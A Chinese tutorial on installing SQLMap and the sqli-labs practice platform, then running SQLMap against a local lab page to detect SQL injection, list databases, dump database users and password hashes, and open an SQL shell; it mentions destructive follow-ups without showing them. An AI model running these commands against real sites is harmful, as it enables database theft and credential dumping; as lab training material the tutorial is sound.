工欲善其事必先利其器,首先就是要配置好环境
一、环境安装篇
1.1、SQLMap工具的简介:
SQLMap是一个自动化的sql注入工具,其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞,内置很多绕过插件,支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite等数据库。SQLMap采用以下5种独特的SQL注入技术
- 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
- 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行来判断
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
- 联合查询注入,在可以使用union的情况下注入
- 堆查询注入,可以同时执行多条语句时的注入
1.2.安装SQLMap
SQLMap的安装需要python环境(不支持Python 3),我使用的是python 2.7.3,可在官网下载安装并添加到环境变量中,有关python环境配置本文不做叙述
在SQLMap的官网(http://www.sqlmap.org)下载最新版的SQLMap,下载后把解压后的文件放到python的安装目录下(如我的:C:\Python27\sqlmap),并把SQLMap目录加到环境变量Path中,打开cmd,输入sqlmap.py命令后出现以下页面,即表示安装正常
1.3.搭建SQL注入平台
sqli-labs是一款可以学习SQL注入的开源平台
资源百度就可下载,下载完解压后,把包放到网站的目录下,如安装了tomcat就放到webapps目录下,安装了dvwa平台就放到WWW目录下
由于接下来的学习需要用到本地的mysql数据库,所以建议先安装dvwa渗透测试漏洞环境,安装教程链接https://blog.csdn.net/chen_xu_yuan/article/details/86604846
进入MySQL管理中的phpMyAdmin,打开http://localhost:1010/phpMyAdmin/,在数据库中新建库名为“security”的数据库,并把下载下来的sqli-labs中的源码sql-lab.sql文件导入到数据库中,如图所示
打开sql-connections文件夹中的db-creds.inc文件,可以修改数据库的账号、密码、库名等信息,访问本地的sqli-labs,如笔者的本地http://127.0.0.1:1010/sqli-labs-master/,效果如下图
点击“sqli-labs-master”后进入以下页面
然后点击“Setup/reset Database for labs”,出现以下页面说明sqli-labs安装成功
二、SQLMap实操篇
2.1.判断是否存在注入漏洞
安装在本地的sqli-labs中的文件夹中有不同level的漏洞可以用来练习,如本地的http://127.0.0.1:1010/sqli-labs-master/sqli-labs-master/Less-1/假设为目标注入点,在cmd中输入以下命令
sqlmap.py -u http://127.0.0.1:1010/sqli-labs-master/sqli-labs-master/Less-1/?id=1
出现以下页面,证明存在注入点
存在注入点,就可以利用这个注入点进行其他的一些操作
2.2.暴库(即暴露出所有数据库)
输入命令 sqlmap.py -u http://127.0.0.1:1010/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs
结果显示有8个数据库,打开phpmyadmin,对比发现结果是正确的
2.3.当前使用的数据库
输入命令 sqlmap.py -u http://127.0.0.1:1010/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --current-db
结果显示当前的数据库名为security,与上面安装步骤中新建的数据库名一致
2.4.数据库使用的账户
输入命令 sqlmap.py -u http://127.0.0.1:1010/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --users
结果显示当前的数据库用户名为root
2.5.数据库账户的密码
输入命令 sqlmap.py -u http://127.0.0.1:1010/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --passwords
结果显示当前的密码为root,并且出给了密码的哈希值
2.6.执行sql语句操作
输入命令 sqlmap.py -u http://127.0.0.1:1010/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --sql-shell
获取到sql的shell后可以执行任何sql语句,笔者这里只是执行了一个查询操作
与phpmyadmin比较
结果一致,当然,在获取以上信息后,可以进行比较非法的操作,如删库、DDOS攻击
笔者这里就不演示了
综上,在确认注入点存在注入漏洞后,是十分危险的,可以执行很多操作,其他一些sqlmap命令就不在本篇博文演示了